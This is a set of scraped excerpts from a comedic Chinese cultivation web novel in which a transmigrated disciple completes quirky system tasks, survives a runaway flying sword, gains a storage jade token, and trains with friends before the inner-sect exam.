为维护修仙界和谐友善向善向美的师门关系,请弄清楚文同学为何如此伤心,并进行一段不少于一分钟的柔性劝导,让他感受到温暖的同学情谊,并明白世界的美好,打消他放弃自我的悲观想法。 完成进度(0/3) 【完成奖励】 神奇的大碗 干了这碗鸡汤,明天无限希望! 这是一个永远有水的大碗 【失败惩罚】 噬心之痛 “?” 系统它真的变了,它再也不是那个和平友善的小系统了。 脚步微微一顿,伏令年非常生硬地转了一个弯,转身走向几位少男少女。 从外表上看,几人年龄都不大。衣袖的纹路是属于内门弟子的青纹。 伏令年走的很慢,她一边往回走,一边思考该如何完成任务。任务提示是一段文字,并没有清晰分划。而所谓的“感受到世界美好”又太过抽象,只能以系统的进度条作为标准。 她靠近时未做掩饰,自然引起了几人的注意,起先质问伏令年的少年先沉不住气,开了口:“你要做什么?” “来送温暖。”伏令年表情未变,一边靠近几人,一边开始在怀里摸索东西。她这样子实在是有些鬼祟,这让几人的表情都变得古怪起来。 哭泣着的文同学也逐渐平静下来,他有些呆滞地看着伏令年在他面前站定。 看见伏令年这张脸,文同学又想起了些难过的事情,眼睛一红又要开始掉眼泪。 眼瞧着他又要哭,伏令年突然伸出右手,打了个响指。待文同学被吸引,她手腕一翻,将一朵泛黄的纸玫瑰递到他的面前。 “别难过啊,文师兄。有什么事情跟我讲讲,我给你开导开导。” 小心打量了文同学两眼,见他果然被这魔术镇住,一时间没有继续哭的意思,伏令年悄然松了口气。 这是她用画灵符的纸折的,至于为什么折玫瑰……她特意学的。 想当年,她学这个手艺还是为了逗班上的女孩开心,曾一度靠这手艺成为了班上最受女孩欢迎的人之一。 文同学双臂被旁人搀着,没有接花,也没有接话。伏令年只好转手将纸玫瑰塞回怀里——折了的符纸也还能用嘛。 随即,她深吸一口气:“文师兄,我有话想对你说。” 文同学一脸迷茫,嗫嚅道:“你怎么知道我姓文……” 伏令年拍了拍文同学的肩膀,绞尽脑汁地回想着原来世界各种听上去 12. 飞剑袭击 《九十年义务修仙》全本免费阅读 这样的预感对伏令年来说并不陌生,在这段时间的训练中,面对师兄师姐袭来的剑气,她也生出过同样的危机感。 但问题在于,她现在可没有在训练。 身体比脑子动得更快,感受到危险袭来的下一刻,伏令年腿部发力,横向挪移,躲避来自脑后的未知危险。 一股寒风吹起伏令年颈后未被束起的发丝,她感到有什么锋锐的东西擦着脸颊飞掠而过,一阵细密的刺痛随之袭来。 没有伸手去摸脸,伏令年调动灵力聚集至眼部,凝眸望向刚刚带给她危险感的物什。 那道模糊的鹅黄色残影逐渐清晰起来,那是一个身着鹅黄色衣裙的少女。她脚下踩着一把长剑,正晃晃悠悠的在空中打着转。 这是御剑失控了? 伏令年皱起眉头,看着少女与长剑在空中进行“舞蹈表演”。长剑时而拔地而起,时而贴地飞行,如同海浪般起起伏伏。少女的面色惶恐,她试图握住剑柄,遏制长剑的行动,却并未成功。 要说这少女御剑技术差,这不太准确,毕竟她能在这摇晃的剑上站稳。但看着这疯狗般乱窜的长剑,伏令年也无法违心地夸赞她御剑技术好。 以伏令年的判断,少女若再不做出自救行动,必然会受伤。 不过伏令年并不打算出手帮忙,这里的动静已经引起了其他人的注意,想必不久后,就会有负责相关事项的宗门弟子出手相助。 伏令年一边留意着乱窜的长剑,一边挪动脚步试图与其拉开距离。 然而事情的发展像个叛逆的孩子,总会往伏令年不希望的方向发展。她只堪堪退出三步远,变故陡生。 那无头苍蝇般乱飞的长剑突然在五米上下的空中顿住,如被按下了暂停键。 伏令年心中警铃大作。 下一秒,就见长剑与少女的身影化做残影,以令人惊骇的速度朝她飞掠而来。 这是什么仇什么怨啊! 耳边有人在提醒她躲开,但这已经有些晚了。伏令年若是不顾一切转身就跑,以长剑这势如破竹的架势,没有防护的她大概率会被长剑从背后洞穿。 没有多余的时间留给伏令年思考,她只来得及尽量侧开身体,让要害部位避开长剑的攻击轨迹,并持剑格挡于胸前。 下一刻,铁剑便与飞驰而来的长剑兵刃相接。手腕被巨大的力道震得一阵发麻,耳朵捕捉到了细微的破碎声。 伏令年没有细看自己的小铁剑遭受了什么,趁着这一阻的时间,她空着的手扯住少女的裙摆,提腿猛踹长剑的剑柄,并借着反震力度朝远离长剑的方向跌了出去。 摔出去的同时,伏令年手腕发力,把少女从剑上扯了下来。两个人就这么在地上翻滚了几周,才堪堪止住冲劲。 为了行动方便,伏令年在地上翻滚之时已经放弃了铁剑。她刚刚那一脚用了六成的力道,且附上了灵力。按常理来说,那长剑应当是被她踹落了。 失去驾驭者的剑虽然会更加狂乱,但亦失去了灵力提供者。待灵力耗尽,长剑就会恢复正常。 因此,当伏令年稳住身形想要起身,却感到脑后风声乍响时,再想完全躲开已经来不及了。翻滚之中,右臂传来皮肉被划破撕裂的痛感,一股狂暴的灵力顺着伤口涌入伏令年的经脉。 还未来得及体会手臂被利刃割伤的痛感,经脉被冲击的感受便先一步占据了她的脑海。这种痛感或许不如火灵符的灼烤,却胜在突如其来,让人没有防备。 脑袋昏沉了一瞬,生理性泪水无法遏制的溢满眼眶。滚了一圈的伏令年面朝天空,有些泪眼模糊的视线捕捉到一道寒光朝自己右侧疾驰而去。 金属交击声过后,四周陷入了一片诡异的安静。 疯狂长剑飞行时颤动的嗡鸣声消失了,急促的心跳与呼吸声逐渐清晰。 有人出手了? 伏令年打起精神,向右侧头。 残留着一抹殷红的长剑直挺挺地躺在地上,已没了动静。 看来已经解决了。 伏令年松了一口气,惊险过后,悲伤涌上心头。 不用看也能猜想到,经过刚刚的摸爬滚打,她唯一一件算得上整洁美观的衣服也英勇就义了。 没有立即起身,伏令年在心中为自己衣服哀悼两声后,闭眼将神识集中到自己受伤的手臂上。 筑基之后,她的身体素质明显有所提升,伤口已经有愈合的迹象。之所以依旧流血不止,是因为那股不断造成破坏的外来灵力。 有与火灵符接触的经验,伏令年应付起入侵的灵力不算困难。在没有完全入定的状态下,她只需分出一部分心神去操控自身灵力,就能遏制外来灵力,并逐渐将其消灭。 似乎有人在向她靠近——伏令年没有感觉到恶意,便依旧闭着双眼。 紧接着,身体被人一把搂住,就听一道带着哭腔的声音在近处响起:“你没事吧……师兄!师兄!快救救她,她好像要不行了!” 手臂中了一剑而已,倒也不至于。 “并未伤及根本,无碍。”一道清冷悦耳的男声在上方响起。 这人的气息收敛的很好,在他开口前,伏令年竟没有感到第二个人的存在。 为了避免被当场下葬,伏令年睁开了眼睛,就见到一个漂亮的下巴……呃不,是男子优美的下颚线。 男子似乎有所察觉,微微低头,目光正巧与伏令年对上。 他有着一双特别的湖蓝色眼眸,剑眉薄唇,即使是处于这种死亡角度,也算得上俊美。 “但是她晕倒了…流了好多血。都是我的错…怎么办师兄,我们送她去青叶峰吧…”少女哽咽着,因为角度问题,她并未发现伏令年的动作,还在试图“唤醒”伏令年:“她好像伤的很重……要是她以后没办法修行了该怎么办…我应该赔偿她…丹药…灵石…” 她的语句因为哭泣有些断断续续,词不达意,但这不妨碍伏令年精准捕捉到“灵石”二字。 伏令年突然觉得自己伤的确实有点重,于是她安详地再次闭上了眼睛。 湖蓝色眼睛男子:“……” 这场突如起来的“飞剑袭击”事件最后以戒律堂的到来而终结。 戒律堂相当于现代学校的教务处,负 13. 浮空小岛 《九十年义务修仙》全本免费阅读 却不想许师兄面色一沉,拒绝的很干脆。 “不成。一块上品灵石,你的伤并不重。” 伏令年…伏令年她一时间愣在了原地。 见伏令年不说话,许师兄的眉头微微蹙起。他眸中的平淡褪去,似乎多了些羞恼的情绪。 “可以。”容晋卿也呆了几秒,但他很快反应过来,替伏令年应下,并不轻不重地捏了捏伏令年的肩膀。 许师兄眼皮微颤,吸了一口气后,他指尖拂过玉牌。伏令年还未看清他具体做了什么,一块流淌着迷人光芒的莹白色物体朝她跟前飞射而来。 伏令年下意识伸出没受伤的手,竟在容晋卿之前接住了这来势极快的东西。 手被震得隐隐作痛,伏令年却并未在意——她的全部注意力全都转移到了灵石之上。 入手温润、光滑、美丽。看这莹白的色泽,灵力于其中流淌,如清泉潺潺…当真是世界上最美好的东西… 待伏令年回过神,再望向许师兄,他却早已不见踪影。 “你胆子真大啊。”容晋卿目睹了伏令年用格外变态的眼神打量灵石,并对它上下其手的全过程,倒是不需要再担心她的伤势了:“敢跟许子迁要这么多灵石…” 伏令年本来想稍作解释,一开口却问出了另一句话:“原来他叫许子迁…他很厉害吗?” 容晋卿:…… 怎么越听越像挑衅? “啊我不是这个意思…”伏令年已经被上品灵石的光芒闪花了眼,组织起混乱的语言试图解释:“他这么有钱,一定很厉害。” “嘶…” 伏令年有些迷茫地抬头,不太明白容晋卿为何无端端吸冷气。 作为一个只见过下品灵石的、贫穷且无辜的外门弟子,伏令年这句夸赞百分百真诚。但在他人……特别是剑修耳中,这就是赤裸裸的嘲讽。 谁不知道,在修仙界,有一个最贫穷的职业——那就是剑修。人行于时间,何事能少了灵石? 尤其对剑修而言。修炼需要灵石,疗伤需要灵石,最重要的是——锻剑也需要灵石。 对于大多数剑修来说,他们可以不吃不喝不睡不疗伤,但绝不能不锻剑。 而他们赚灵石的方式,和其余修士不同。 他们不像丹修医修能替他人炼丹疗伤,也不像符修那样能出售灵符。 剑修赚钱的途径,一般只有接些任务,完成任务后才可得到赏金。 而实力较弱者,无法完成报酬丰厚的任务。 同时,支出与收获不平衡也是剑修贫穷的原因之一。 随着修为提升,剑修要花费灵石的地方也更多。越强的剑修往往越贫穷——当然,那些天生背景雄厚,或者强到宗主长老级别的人就另当别论,他们自有自己获取灵石的途径。 “一块上品灵石…”容晋卿有些咬牙切齿地说:“你知道这是多少下品灵石吗?!” “我知道啊…”伏令年不需要过多思考,笑呵呵地道:“一万…” 等下…一万……一万???她突然愣住,握住灵石的手开始微微颤抖。 “他是准备把我干掉吗?” “你现在知道怕了?”容晋卿好笑又无语地瞪了她一眼:“那你刚刚还敢跟他要一百灵石?” “一百灵石…我要的是一百下品灵石啊!”伏令年终于从被上品灵石震慑的情绪中挣脱了出来,意识到了如今的情况。 她这个穷人至今也就见过下品灵石,平时和温季才说话都习惯省略去定义词,却不想闹了这么一个乌龙。 不过…内门弟子真的很有钱啊,就这么随随便便丢出一块上品灵石!伏令年不由遐想,万一许子迁真给她丢了一百块上品灵石…嗯…那她可能要考虑一下自己的人身安全。 她抬起头,和容晋卿对视片刻,两人异口同声:“快跑!” …… 突发事件已经终结,铁剑碎片洒落于地,被许子迁击落的长剑躺在地面上,不复先前的疯狂模样。唯有剑刃上残留着的些许血迹昭示着刚刚发生的战斗。 地面一片狼藉,不过这并不需要他人的担心,负责清扫的三位杂役弟子已经开始了他们的工作。 铁剑的碎块被少女拾起,她看上去年纪不大,十三四岁的模样。 “真可怕啊…”少女嘴中说着,脸上却带着艳羡。 铁剑被击成碎片,这是何等恐怖的力量。 除去对危险的恐惧,杂役弟子们更多向往这强大的力量。 昆仑宗杂役弟子的来源一般有三种,一是有缘进入宗内,不愿离开的无灵根者。二是一直在外门不得精进却不愿离开的天赋不佳者。三则是犯下严重错误失去原本弟子身份者。 三名杂役弟子中,包括少女在内,有两人年龄较小,都属于第一种杂役弟子。他们本是凡界的孩童,却不幸遭遇厄难,被昆仑宗的仙者所救,便在昆仑宗安顿下来。 年龄最大的是位沉默寡言的黑发少年,传闻他在内门犯了错,便被抹去修为,成为了杂役弟子。 年龄小的孩子心思单纯,也不了解宗门内的事情。他们并未往更深处思考,只觉得黑发少年十分冷漠,不好相处。 “阿牛,你来看。”少女招呼着另一位小男孩,两人凑在一起打量铁剑碎片,未去招呼黑发少年。 黑发少年则不甚在意,他的目光正牢牢锁定在染血的长剑上,似乎看到了什么宝物。 就在他准备靠近拾取时,一个身影却先他一步靠近,伸手将长剑拾起。 视线上移,灰扑扑的衣服,纤细的手腕和脖颈,以及少女客气温和的笑容。 “不好意思。”伏令年朝少年点了点头:“我忘记拿了。” 她拿出手绢,细细擦拭剑刃上的血迹。并拿原本用来包裹铁剑的粗布料将其裹住。 随即,伏令年眼珠一转,十分热情地道:“你们是在打扫这里吗?真是辛苦了,我也来帮帮忙吧。” 少年黝黑的眼眸深沉,盯着伏令年没有回话。伏令年也没有自说自话的尴尬,她笑眯眯从怀里取出三张皱巴巴的符纸,上面用泛红的液体描绘着几个扭曲的字符。 是古语言中“水”的意思。 灵力注入,灵符被催动,几道细细的水柱从灵符中滋了出去。着实是……有些不太雅观。 伏令年眼皮抽了抽,催动灵力涌入符内,完全激发了灵符。 小水柱变成大水柱,却依旧十分不美观。 算了…能用就成。 毕竟英雄不问出处,灵符不看美丑嘛。 伏令年安慰着自己,指尖一弹,灵火从中窜出,将丑陋且失去了功能的灵符燃烧殆尽。 不雅观的三道水柱冲刷着地面,不到三十秒就有些水流不稳了。只听见“滋滋啦啦”的一阵声响,水流时大时小,最后不分先后地消失。 好在,那看上去有些可怖的血迹被冲刷得一干二净。 伏令年拍了拍手,抖落灵符燃烧后的灰烬,耳朵却捕捉到了一道低哑的声音。 “丑……” “?”伏令年疑惑扫视,两个小孩还愣愣地看着水柱消失的地方,不知道是为突然出现的水柱惊奇,还是被这奇怪的滋水方式惊住了。 而这说话之人… 伏令年侧过脑袋,目光炯炯。 黑发少年眉头微皱,似乎在思索什么重要的事情。发觉伏令年的目光锁定了他后,也未有心虚之意。他抿了抿唇:“你的灵符,画得好丑。” “……” 没礼貌的小孩! 伏令年在心中嘟囔了一声,装作没听见少年的话语,揣上铁剑朝容晋卿的方向赶了过去。 绕过人群,在不被人们留意的角落,伏令年运转隐蔽身形的功法。她表情转冷,有些凝重地看了一会手帕上的血迹,眉头渐渐皱起。 待她离开角落时,手帕已然燃烧殆尽,只余下点 14. “噩梦” 《九十年义务修仙》全本免费阅读 趴在地上装了会儿野草,伏令年最终还是认清了事实,小心翼翼地抬了抬脑袋。 动作间,伏令年只觉得脸上一阵火辣辣得疼。 “嘶…”她轻轻吸了口气,对自己脸部状态很不乐观。 估计是暂时性毁容了。 不过,按她这种摔法,要是放到原来世界,别说毁不毁容了,脑袋都不一定完整。 总之,赞美修仙! 就在伏令年打算忍着痛一鼓作气撑起身体时,衣领微微一紧,整个人宛若萝卜般被人从地上“拔”起。 紧接着,一股浓烈的酒香涌入她的鼻腔。伏令年睁开双眼,被一张放大的脸庞吓了一跳。 稳住心神细瞧,伏令年在心中吸了口气。 这是一个极为俊美,美得几乎难辨男女的人。 饶是在这个帅哥多如狗,美女遍地走的修仙世界,这样出挑的容貌也是极为少见。 美人一双丹凤眼微微上挑,笑着张口,似乎想说些什么。 就在这时,伏令年忽然觉得鼻子一热,似乎有什么东西从鼻腔中涌了出来。 伏令年伸手去摸,低头就瞧见自己一手的血。 伏令年:“啊?” 对方是很美,但她也不至于对着美人流鼻血吧?! 下一刻,伏令年只觉脑袋嗡得一震,一股剧痛瞬间席卷了她的五脏六腑。 她眼前顿时一黑,舌尖也泛起腥甜之感,“哇呜”一声吐出一大口血水。 疼痛还在继续,伏令年意识模糊起来,隐约听见男人有些惊慌的声音:“诶诶,你可别碰我瓷啊……” 什么啊……“碰瓷”也是修仙界的通用语吗? 这是伏令年昏迷前的最后一个想法。 …… 是梦吗。 迷迷蒙蒙间,少女立于巨树之下,微风拂过她的发梢,青丝与嫩绿的枝条一同飘扬。 “怎么样,漂亮吧。”少女的嗓音中带着笑意。 “这是师父给我的,他说这叫槐岩松,守护之树。我看…这不是棵柳树吗?啊……你问我柳树是什么树。嗯……是一种会让人想起故乡的树。” 少女的声音越来越远,黑色蔓延,充盈整个空间。 黑暗……到处都是黑暗。什么都没有…什么都没有… “都死了…他们都死了!是我杀了他们,是我干的!哈哈哈哈哈!哈哈哈哈哈!” 痛苦,绝望,不甘,歇斯底里……混杂着无尽痛苦情绪的尖叫仿若利剑,能将人肚腹剖开、内脏搅碎。 梦醒了。 伏令年猛地坐起,如溺水之人般大口喘气。心脏在胸腔中剧烈跳动,血液汩汩流动的声响宛若惊雷。 梦里那骇人的情绪依旧萦绕于心头,伏令年眼前一片模糊,泪水止不住得往外流淌。 【九十年义务修仙系统提醒您】: 【为培养修士正确的人生观、价值观,形成良好的道德品质和政治观念。特别开展德育修行计划。 培养良好观念第一步,交友。 面对陌生人,你是否化身社恐。面对潜在好友,你是否总是错过。不要恐惧!不要错过!遇上对的他,马上出手吧! 任务: ①自信的开场白是社交的第一步,向潜在好友sayhallo吧。与潜在好友交换姓名(0/2) ②交流是友谊发展的必备步骤,与好友展开一场愉快且酣畅淋漓的交流吧!(时间:0/15min) ③过量饮酒,健康没有。关心好友身体健康是修士的良好品质。请对潜在好友说出:【禁止饮酒】四字(0/1) 完成任务奖励:【有用的奖励*1】】 没有失败惩罚。 伏令年刚松了口气,心中又有些恼火。这破系统,净会给她布置任务,也不知道刚刚的剧痛和噩梦是不是系统作的妖。 被系统这么一打岔,伏令年心头涌动的那股情绪缓缓散去。恢复冷静后,她开始观察周围的环境。 伏令年正坐在一块有她一个半人长的石头上,身下垫着一层白色的丝织物。 微弱的光亮由岩壁上的不知名植物发出,洒落于这一方小天地中。 左侧有潺潺水声,伏令年侧头望去,只见一汪清泉正由地底不断涌出,汇入潭中。水面不太平稳,伏令年只能依稀看见潭中自己的倒影。 令她意外的是,倒映中的自己裸露在外的肌肤白净,绝不是从天上掉下来后应有的模样。她低头细瞧,发觉自己衣服上的血迹已然消失不见,只余下被利剑割破的口子。 震惊之下,伏令年伸手摸了摸自己的脸颊,光滑平整。扯了扯,手感甚至比受伤之前还要细嫩。她晃了晃自己的脑袋,确认自己不是眼花了。 一声轻笑打断了伏令年的动作,她寻声望去,就见那美男子居然就靠坐在她躺着的石头边,竟未让她提前察觉到一丝气息。 “不太聪明的小丫头。”他笑眯眯地说:“可别把脑袋里的水给倒出来了。” 伏令年:? 人挺美,话倒是不太好听。 扫了一眼神识海中的任务栏,她忽的灵机一动。 “你怎么知道我叫二丫?!”伏令年装出一副大吃一惊的模样,主打一个已读乱回。 随即,神识海有所触动。 【任务:①自信的开场白是社交的第一步,向潜在好友sayhallo吧。与潜在好友交换姓名(1/2)】 果然,伏令年心中一喜——“二丫”是她穿越的这具身体的名字,也算作“她的姓名”。 即使她内心一直认为自己的真名是“伏令年”,一向对外宣称自己本来的名字,也不会影响系统的判定。 面前的美男子疑似是这座岛的主人,待会免不了被他问责,日后说不定还会产生牵连。 用“二丫”这个名字,既能完成任务,也大大降低了日后被抓包的可能性。 “二丫……”美男子又笑了起来,他抓起旁边的葫芦状事物,猛喝了一口:“不错的名字。” “哪里不错?”伏令年恨不得和他多聊一会,追问道。 “我有一个朋友…就叫这个名字。” 伏令年心里想着“你就胡扯吧”,脸上依旧挂着孩童式的纯真好奇,配合着追问道:“然后呢?” “然后?嗯……让我想想。我这个朋友啊,她很厉害……”美男子又喝了一口葫芦里的东西,似是有些醉了:“一次能吃一百个馒头。” 伏令年:“那…那是挺厉害。” “有一天…她觉得馒头不够吃了,于是就离开闯荡世界。她走啊走啊,走啊走啊,一路遇到了一个人,两个人……一只小鸟,一条小蛇……一只小狗……和一个神棍。 15. 能者多劳 《九十年义务修仙》全本免费阅读 “哈哈…禁地…什么禁地…”见事情不妙,伏令年开始装傻充愣:“我不知道你在说什么,美人哥哥。”她眨巴着眼睛,一脸无辜。 可惜这美男子似乎不吃她这一套,他依旧是笑眯眯的模样,仿若一只狐狸:“我没说完呢…还有使用琼灵泉的相关费用。” 伏令年:! 还有这茬? 不对,穷(琼)灵泉是什么东西?听上去很不吉利的样子。而且,她什么时候用了那什么穷(琼)灵泉,这人分明就是想讹诈她! 美男子却好似看穿了伏令年内心翻腾的想法,叹了口气:“琼…琼浆玉露的琼,不是你想的那个穷。” “咳。”伏令年有一丝丝尴尬,心想这美男子莫不是她肚子里的蛔虫,连她想什么都知道。 “好,就这样说好了。”美男子起身,丢给伏令年一块白色的东西:“作为惩罚,每隔七日便来这儿给我打理一下这儿的花草树木,否则……” 他笑眯眯地威胁道:“你也不想让别人知道你擅闯禁地的事吧。” 伏令年有些手忙脚乱地接过那东西,入手润泽,是一块白色的玉牌。 没等她多辩解两句,只听耳边响起如泡泡碎般的声响,她只觉得眼前一花。下一刻,人便坐在了松软的草地上。 头顶是繁密的红色枝叶,美男子的身影已然消失不见。 怎么不给她一点挣扎的机会啊! 伏令年心中窝火,有一种莫名其妙签了合同给人打白工的无力感。 掌心的玉牌忽的微微发亮,一股热意从玉牌上传来。 伏令年下意识想把玉牌丢开,却发觉这玉牌似乎黏在了她的皮肤上。 微微蹙眉,灵力运转,一层泛着生机的绿意覆盖于伏令年的掌心,用以隔绝这莫名出现的热意。 下一瞬,伏令年眼前一花,玉牌倏然破碎,化作点点点荧光。 荧光逐渐汇聚,在伏令年面前形成一个空洞。 “什么东西?”伏令年心下疑惑,也不敢贸然靠近。 毕竟给她玉牌之人身份不明,似乎还能施展乾坤大挪移之类的法术。除了听了他讲了半个小时的“二丫历险记”以外,伏令年对他没有足够充分的了解,也没来得及问到他的名字。 就在伏令年看着空洞犹豫不决时,一个脑袋忽的从中探了出来。 “千云!” 看见千云没事,伏令年心中一喜,心中的一块石头总算落了地。 千云已经从空洞中探出了大半个身子,它努力挥动着双翅,将自个从空洞中拔了出来,一头扎进了伏令年怀里,差点把她这个小身板给撞翻。 “你跑到哪里去了?” 千云当然没法回答伏令年的话,而就在伏令年好不容易缓过气来时,又有什么东西从空洞中“咻”一下弹了出来。 那东西摔落在伏令年身旁,发出沉闷的声响,一听就是重量级物品。 伏令年侧身细瞧,只见一把长剑正静静躺在草地之上。 长剑剑身薄如蝉翼,白净似玉,宽窄适中。剑身上的花纹繁复细致,犹如精致的艺术品。剑柄上则镶嵌了大大小小起码数十颗宝石,在阳光下反射着光芒。 伏令年将剑握于手中,入手触感冰凉,她随手挽了个剑花——沉甸甸的。 或许是夕阳太好,也或许是那天的风很温柔——总之,绝对不是因为这把剑上的宝石闪花了她的眼睛,也不是因为在拿到剑的那一刻获得了系统的提示【获得【看上去不厉害但是绝对很贵的剑】】,伏令年突然觉得她爱上了这把剑。 …… 三天以后,伏令年正坐在温季才的小院中擦拭自己的“宝剑”。 此时她已经丝毫不感觉窝火了,隔七天“上一次班”,附赠一把剑加上完成《灵植学大全》的机会,怎么不能算是一件好事呢。 再加之任务给她的“交友”任务也还没完成,要是不回到那座岛上,伏令年还不知道自己有没有机会再遇见那个奇怪的“岛主”。 “我看你们俩真是疯了。”温季才蹲在一旁,看着伏令年和从承言两人含情脉脉地仔细擦拭着手中的剑,咂嘴道。 “你懂什么。”伏令年坚决维护自己的宝贝剑。 “就是。”从承言今天刚攒够灵石给自己换了把新的剑,眼睛就几乎没从自己的新剑上挪开过:“你懂什么。” 温季才:“……你们剑修。” 他觉得自己被孤立了! 温季才起身气鼓鼓地回了屋中,决定和另两人绝交一炷香时间。 晒了会剑,伏令年满意地看见剑柄上的大半宝石的颜色都变得艳丽起来,便将宝剑收回玉牌当中。 在这三天里,她也将这玉牌最基本的作用给弄清楚了。 那便是储物。 输入灵力激发玉牌,玉牌便会化作一个空洞,此时可以将东西放入空洞中储存,或者从空洞中取出物品。再次向空洞中输入灵力,空洞便会还原为玉牌的摸样。 除此之外,将神识探入玉牌当中,可以查看玉牌中储存了什么物品。 得到玉牌的那一天,伏令年用神识查探玉牌内储存的物品。除了自己钻出来的千云和飞出来的宝剑,里头就只余下那把将伏令年砍伤但被她捡回去的铁剑。 总的来说,这玉牌不就是修仙小说中都会出现的储物空间嘛! 待到日薄西山,从承言才舍得把眼睛从自己的宝贝剑上挪开。 伏令年和温季才已经开始生火准备做饭了,两人一个扇风一个点火,可谓是配合无间。 然而,他们俩没有一个是有厨艺的,最后还得是从大厨亲自出手。 从承言将佩剑别回腰间,就听见伏令年在喊他:“小言言!火已经生好了。” 听到这个称呼,从承言嘴角一抽,有些无奈。他还是很难去习惯两位伙伴平日的相处方式。 在他幼时,唯有母亲会亲昵地喊他的小名。其余人或是如父亲那般严厉,或是对他毕恭毕敬,又或是表面一套背里一套。 而在母亲被那群人杀害后……从承言突然握紧了拳头,抑制住自己突然翻涌起来的回忆与情绪。 总之,很久没有人用这样的态度对待他了,也很久没人再用那种亲昵的口气唤他名字。 “大厨!愣着做什么?”温季才的喊声将从承言从呆愣的状态中彻底唤醒。 从承言抬起头,正瞧见两人被火焰映得红彤彤的脸庞一同朝向他,脸上挂着一如往日的笑意。 “你看,我都说不要乱喊人家名字,人家不喜欢。”温季才用胳膊肘怼了怼伏令年,开始拱 16. 考核前夕 《九十年义务修仙》全本免费阅读 伏令年出其不意的一剑在临近从承言腰侧时堪堪被架住。 这并不是一个出乎她意料的结果。 虽然她自诩自己隐蔽身法的技巧经过多年逃课的锤炼已然大成,但从承言战斗素养毕竟是他们三人中最高的,想要一剑得手是不可能的。 伏令年不求一剑制胜,只求维持住主动攻击的局面,手中的铁剑上附着的火焰再次膨胀。 在接下来的战斗中,伏令年时不时用火焰流光扰乱从承言攻击的节奏,再隐蔽身形发起袭击。 虽然攻击力不高,但是骚扰性极强! 使用火焰大剑太过消耗灵力,两人的战斗最终在伏令年火灵力耗尽后结束。 伏令年“啪”一下整个人躺到了地上,觉得自己像一条粘锅的咸鱼,对所有事情提不起一丝兴趣。 反观从承言,虽然也经历了一场战斗,精神头反而更足了。 唉,不理解一些战斗狂。 ……… 两个月后。 长剑掷入冰面,不算太厚的冰层骤然碎裂。 就在长剑将要沉入水中之时,骤然顿住。仿若有一只无形的手抓住了剑柄,将其往外拔出。 剑身上串着一条足有小臂长、大腿粗的青色条状物,似鱼似蛇,嘴生利齿,样貌狰狞。 鱼蛇的身体虽已被洞穿,却依旧在剧烈地挣扎,可见其生命力之顽强。 浮空的长剑在空中划了一个圆弧,将鱼蛇甩至半空。下一刻,两道火光由下至上,准确击打在鱼蛇的身上。 鱼蛇下落的趋势一顿,再次腾空而起,身上泛着青光的鳞片因被火焰燎过而附上了一层焦色。 鱼蛇就这么在天空中翻滚着,每当它将要落下时,就会被下方袭来的剑气重新送上天空,如此反复。 伏令年将火焰附着于剑上,不断地催发剑气,感觉找回了在原来世界打羽毛球的快乐。 三人正在练习对剑气的运用。 按照剑修传统的训练方式,他们应当先站在瀑布底下,催发剑气破开水帘。 但伏令年和温季才两人都觉得这样的训练方式太单调无聊,便一拍脑袋发明了新的训练方式——用剑气“打羽毛球”。 至于从承言的看法,只有能练剑,他都不会拒绝。 当然,这“羽毛球”也得有所讲究,得有足够的重量和韧度,且能经受的住剑气的冲击。 于是,他们便把主意打在了这鱼蛇怪身上。 鱼蛇怪是这个世界很常见的一种水怪,常被发现于溪水和湖泊中。拥有一口锋利的牙齿,脾气暴躁,会发出婴孩般的啼叫声,为凡人的民间传说提供了许多素材。 这种水怪会主动袭击人类,在修仙者看来算不上厉害,但常有凡人因此受伤或死亡。 因此,宗门经常会派出弟子下山寻找它们。 一般弟子们都是将它们就地格杀,却不知是哪个人突发奇想开了个头,将这水怪抓起来丢到宗门的人造湖里当起“观赏鱼”——也不知这水怪的“观赏价值”究竟在哪里。 这种粗糙的处理方法导致了宗内这种水怪的数量泛滥,作为外门的小弟子,伏令年几人时不时就被派来清理泛滥的水怪。 一开始,伏令年和温季才被这丑模丑样还十分凶猛的鱼蛇怪吓得抱头鼠窜。但人总是会成长的,伏令年如今已然是心和刀一样冷的杀鱼能手了。 于是,在搞清楚鱼蛇怪皮糙肉厚的特征后,伏令年就把不怀好意的目光放到了它的身上。 再然后,便有了用剑气打“鱼蛇怪羽毛球”的一幕。 一月份的昆仑宗白雪皑皑,几人虽都为修仙者,也禁不住寒意的长久侵袭。 没有火灵根的温季才最先顶不住,手指冷得发僵,剑气的角度有所偏移。 眼见鱼蛇怪将要砸落到冰面上,一抹绿意突兀地出现,藤蔓破冰而出,将鱼蛇怪包裹于内。 伏令年正打算操纵藤蔓再次将鱼蛇怪抛起,忽的灵机一动,一层绿色火焰随即覆盖于藤蔓之上,鱼蛇怪的身躯以肉眼可见的速度在缩小,如盐粒入水。 不到半刻钟,鱼蛇怪仅余下一架森森白骨。 绿色的火焰是伏令年用木灵力催生出的灵火,有炼化精华的能效,因此能够极快的将鱼蛇怪的尸体腐蚀殆尽。 饶是有所预料,伏令年还是被这惊人的速度吓到了。如果战斗时将灵火覆盖于剑上——伏令年在心中畅想了一下。 很快,她又否定了自己的想法——灵火能过炼化灵植,也同样能炼化精铁,普通材质的武器会很快被腐蚀,只有用特殊技巧和材料打造的炼丹炉才能承受住灵火的炼制。 不过,再换一个角度想,有谁规定炼丹炉不能是武器呢。 “你的新发明?”温季才如一缕清风,轻巧地落在伏令年身旁,手里提着鱼蛇怪的骨架:“有点凶残。” 伏令年接过骨架,细细打量。 白骨白得透亮,未余下一丝赘肉,在冬日微弱的阳光下泛着光泽。 指尖微微用力,白骨从受力处断裂,竟被伏令年硬生生碾作粉状——可见被炼化过的骨架异常脆弱。 “厉害啊!”温季才大惊小怪地喊着:“内门考核时咱们就用这招,让小言言把妖兽摁住,你再把它们给炼化了。” “他都能摁住妖兽了还需要我来炼化吗?”伏令年一阵无语。 张开手掌,粉状的骨粉随风飘扬至空中,很快便与白茫茫的地面融为一体。 时间接近正午,不远处的从承言已经自动自觉地清出了一片空地,开始生火。 温季才和伏令年一前一后地挤了过去,把手凑在火焰旁取暖。 “真希望内门考核时没有游水的项目。”温季才哆哆嗦嗦地说。 半个旱鸭子伏令年眉头一跳,在嘴边竖起食指:“嘘!”还是少插点旗子吧。 临近内门考核不足十日,师兄师姐们都在各自筹备,三人没有再被安排任何的训练和课程。 近日,三人的日常就是自行训练、训练、再训练。 伏令年更忙一些,她时不时要去青叶峰打理药田还债,私底下炼丹制符,还要每隔七日去浮空岛上打工。 在这期间,她的《灵植学大全》再度更新,收录了【灵蕴花】、【琼灵花】和【琼灵果】三种新的灵植。 可惜的是,她没能再遇见那位神秘的“岛主”。 